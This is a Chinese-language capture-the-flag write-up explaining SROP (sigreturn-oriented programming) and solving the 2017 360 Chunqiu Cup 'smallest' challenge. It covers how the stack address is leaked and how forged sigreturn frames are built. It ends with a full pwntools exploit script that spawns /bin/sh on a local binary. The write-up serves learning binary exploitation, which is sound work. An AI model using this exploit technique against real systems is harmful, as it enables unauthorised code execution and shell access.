文章目录
- linux信息处理
- 2017 360春秋杯 smallest
- 检查
- 源码
- 思路
- 第一次要执行ret时的栈
- 执行write函数时
- 修改rsp到泄露的栈地址上去
- 输入/bin/sh并sigreturn调用
- 系统调用回忆
- exp
- 注意一个离离原上谱的地方
参考链接
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。论文和PPT如下
- 论文
- PPT
linux信息处理
- 当中断或异常发送时,内核会发出一个信号给相关进程
- 此时系统切换到内核态,内核会执行setup_fram()函数来设置用户栈,setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。
- 接着执行hand_signal函数,该函数会跳转到用户态执行signal handler函数
- 在用户态执行signal handler函数后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。
关于sigreturn的系统调用
/*x86架构*/
mov eax,0x77
int 80h
/*x86_64架构*/
mov rax,0xf
syscall
2017 360春秋杯 smallest
检查
静态链接64位文件
源码
程序反汇编拖入IDA后全部就图中这些
思路
溢出想构造ROP链的话,没有动态链接库,本身程序gadget少得可怜,gadget不足,想ret2syscall的话,syscall的参数rax得是59,rdi得是/bin/sh的地址,rsi和rdx得为零,
但相关pop的gadget都没有,所以想通过rop系统调用不行,此时可以利用SROP,因为sigreturn系统调用会执行一系列pop的指令,这样就有机会构造execve的相关参数了
- 首先是rax这个比较好设置,设置成execve对应的调用号即可
- 其次是rdi这个得是/bin/sh的地址,/binsh找不到,只能输入到栈上3再得到其在栈上的地址
- 接着是rsi和rdx。这个也比较好设置,都为0就行
那如何输入并得到/bin/sh的地址呢?
首先得能够得到输入部分栈的起始地址,然后再次输入时可输入/bin/sh,然后可以进行调用系统调用execve
- 首先得到write函数能够输出栈基地址
write函数对应的系统调用需要rax为1,rdi为1,rsi为栈的基地址,rdx大于8,rax唯一可修改的方式为read函数执行后会将输入的长度存到rax,此时输入一个字节,并且返回地址可从0x4000B3开始,那么,将导致可以进行write函数输出栈的基地址。那么得提前布置好第返回地址,等到第二次执行read时可以输入一个字节,并且修改返回地址一个字节后正好是0x4000b3, - 此时write函数将rsp对应值输出,由于此时只能输出,返回地址还得在第一次输入就得布置好。由于此时得到了rsp值,此时可以设置为输入函数,输入对应sigframe,同时输入了返回地址为系统调用得返回地址,由于此时长度要调用到sigreturn函数得话,read输入的长度必须等于15,所以得等两次输入才行,所以一次输入sigfram和/bin/sh,返回地址为继续输入的地址,等下次输入时可只输入系统调用的地址和另外七个不影响sigfram变化的字节。然后将会先调用sigreturn然后调用execve函数
第一次要执行ret时的栈
发现存在栈上内容为栈上的地址,可泄露栈上地址,然后将rsp修改为泄露的栈位置
执行write函数时
第一次输入两个0x4000b0地址,,第二次输入一个字节,并将返回地址修改为0x4000b3
修改rsp到泄露的栈地址上去
constants.SYS_read是常量read的系统调用号
write函数后此时程序还可以输入一次,这次输入先修改返回地址为0x4000b0,使得可以再输入一次,同时输入好对应的留给的空余的下次输入的返回地址和sigfram
然后再次输入时修改返回地址为系统调用的地址,同时字节数为15,使得可以系统调用sigreturn,然后修改对应寄存器。
此时rip为系统调用地址,rsp为泄露的栈地址,对应其他参数为输入函数对应的参数
sigreturn调用完后执行rip对应的输入函数
输入/bin/sh并sigreturn调用
最后输入/bin/sh并构造sigfram,同时修改返回地址为输入函数
然后再输入系统调用地址和7个空字节,此时会进行sigreturn调用。调用完后rip指向系统调用,此时rax为execve的调用号,则getshell
系统调用回忆
系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。
int execve(const char *filename, char *const argv[], char *const envp[]);
filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。
!!system函数不是系统调用
exp
注意一个离离原上谱的地方
python的SigreturnFrame()函数即对应之前往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)
fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b'a' *8+bytes(fram)
这里bytes(fram)
fram里给各个寄存器赋值的地方不能赋值字节
花了大把时间才找到这个bug
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./srop")
srop = ELF('./srop')
#gdb.attach(s,"b main")
read_ret=0x00000000004000B0
sys_ret=0x00000000004000BE
payload=p64(read_ret)*3
s.send(payload)
#sleep(3)
s.send("\xb3") # 修改返回地址为0x4000b3
stack_addr=u64(s.recv()[8:16])
print("泄露的栈地址",hex(stack_addr))
fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
s.send(payload)
#sleep(3)
payload=p64(sys_ret)+b"\x00"*7 # rax被设置为15,ret执行系统调用sigreturn,同时空字节也没有修改sigreturnframe的结构
# 由于系统调用改变rip和rsp,执行输入函数
s.send(payload)
print("fram的长度",len(fram))
fram=SigreturnFrame()
fram.rax=constants.SYS_execve
fram.rdi=stack_addr+270
fram.rsi=0
fram.rdx=0
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
payload=payload+(270-len(payload))*b"\x00"+b"/bin/sh\x00"
s.send(payload)
payload=p64(sys_ret)+b"\x00"*7
s.send(payload)
s.interactive()